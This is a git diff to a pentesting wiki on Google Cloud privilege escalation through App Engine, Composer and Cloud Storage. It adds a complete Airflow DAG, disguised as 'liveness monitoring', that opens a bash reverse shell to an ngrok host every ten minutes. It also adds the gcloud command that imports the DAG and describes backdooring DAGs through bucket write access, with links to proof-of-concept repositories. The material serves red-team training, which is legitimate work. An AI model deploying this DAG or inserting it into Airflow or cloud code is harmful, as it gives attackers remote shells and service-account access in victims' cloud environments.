diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md index 488f1a3843..a947a4ba56 100644 --- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md +++ b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md @@ -113,8 +113,6 @@ Not sure how to use these permissions or if they are useful (note that when you Even with write access over the buckets where the source code is located **it WASN'T possible to execute arbitrary code by modifying the source code and the `manifest.json`**.\ Maybe if you are monitoring the bucket and detect the moment where a new version is created and the source code and manifest is uploaded, it might be possible to change them so the new version uses the backdoored ones?? -It also looks like container layers are stored in the bucket, maybe changing those? - {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md index ece6d2a146..c9a457e8ec 100644 --- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md +++ b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md @@ -80,15 +80,61 @@ gcloud composer environments storage dags export --environment --l ### Import Dags -Import Dags code to compromise the environment and be able to steal the token from the metadata endpoint: +Add the python DAG code into a file and import it running: {% code overflow="wrap" %} ```bash # TODO: Create dag to get a rev shell -gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/asd +gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py ``` {% endcode %} +Reverse shell DAG: + +{% code title="reverse_shell.py" %} +```python +import airflow +from airflow import DAG +from airflow.operators.bash_operator import BashOperator +from datetime import timedelta + +default_args = { + 'start_date': airflow.utils.dates.days_ago(0), + 'retries': 1, + 'retry_delay': timedelta(minutes=5) +} + +dag = DAG( + 'reverse_shell', + default_args=default_args, + description='liveness monitoring dag', + schedule_interval='*/10 * * * *', + max_active_runs=1, + catchup=False, + dagrun_timeout=timedelta(minutes=10), +) + +# priority_weight has type int in Airflow DB, uses the maximum. +t1 = BashOperator( + task_id='bash_rev', + bash_command='bash -i >& /dev/tcp/0.tcp.eu.ngrok.io/14382 0>&1', + dag=dag, + depends_on_past=False, + priority_weight=2**31 - 1, + do_xcom_push=False) +``` +{% endcode %} + +### Write Access to the Composer bucket + +All the components of a composer environments (DAGs, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version. + +Get more info about this attack in: + +{% content-ref url="gcp-storage-privesc.md" %} +[gcp-storage-privesc.md](gcp-storage-privesc.md) +{% endcontent-ref %} + ### Import Plugins TODO: Check what is possible to compromise by uploading plugins diff --git a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md index 8924e04782..7a288db0c0 100644 --- a/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md +++ b/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-storage-privesc.md @@ -91,14 +91,15 @@ A very **common exploitation** of buckets where you can write in cloud is in cas **Composer** is **Apache Airflow** managed inside GCP. It has several interesting features: * It runs inside a **GKE cluster**, so the **SA the cluster uses is accessible** by the code running inside Composer -* It stores the **code in a bucket**, therefore, **anyone with write access over that bucket** is going to be able to change/add a DGA code (the code Apache Airflow will execute)\ - Then, if you have **write access over the bucket Composer is using** to store the code, you can **privesc to the SA running in the GKE cluster**. +* All the components of a composer environments (**code of DAGs**, plugins and data) are stores inside a GCP bucket. If the attacker has read and write permissions over it, he could monitor the bucket and **whenever a DAG is created or updated, submit a backdoored version** so the composer environment will get from the storage the backdoored version. + +**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs) ### Cloud Functions * Cloud Functions code is stored in Storage and whenever a new version is created the code is pushed to the bucket and then the new container is build from this code. Therefore, **overwriting the code before the new version gets built it's possible to make the cloud function execute arbitrary code**. -You can find a PoC of this attack in the repo: [https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions) +**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions) ### App Engine @@ -110,6 +111,10 @@ You can find a PoC of this attack in the repo: [https://github.com/carlospolop/M * **Google Container Registry** stores the images inside buckets, if you can **write those buckets** you might be able to **move laterally to where those buckets are being run.** * The bucket used by GCR will have an URL similar to `gs://.artifacts..appspot.com` (The top level subdomains are specified [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)). +{% hint style="success" %} +This service is deprecated so this attack is no longer useful. Moreover, Artifactory, the service that substitutes this one, does't store the images in buckets. +{% endhint %} + ## **References** * [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)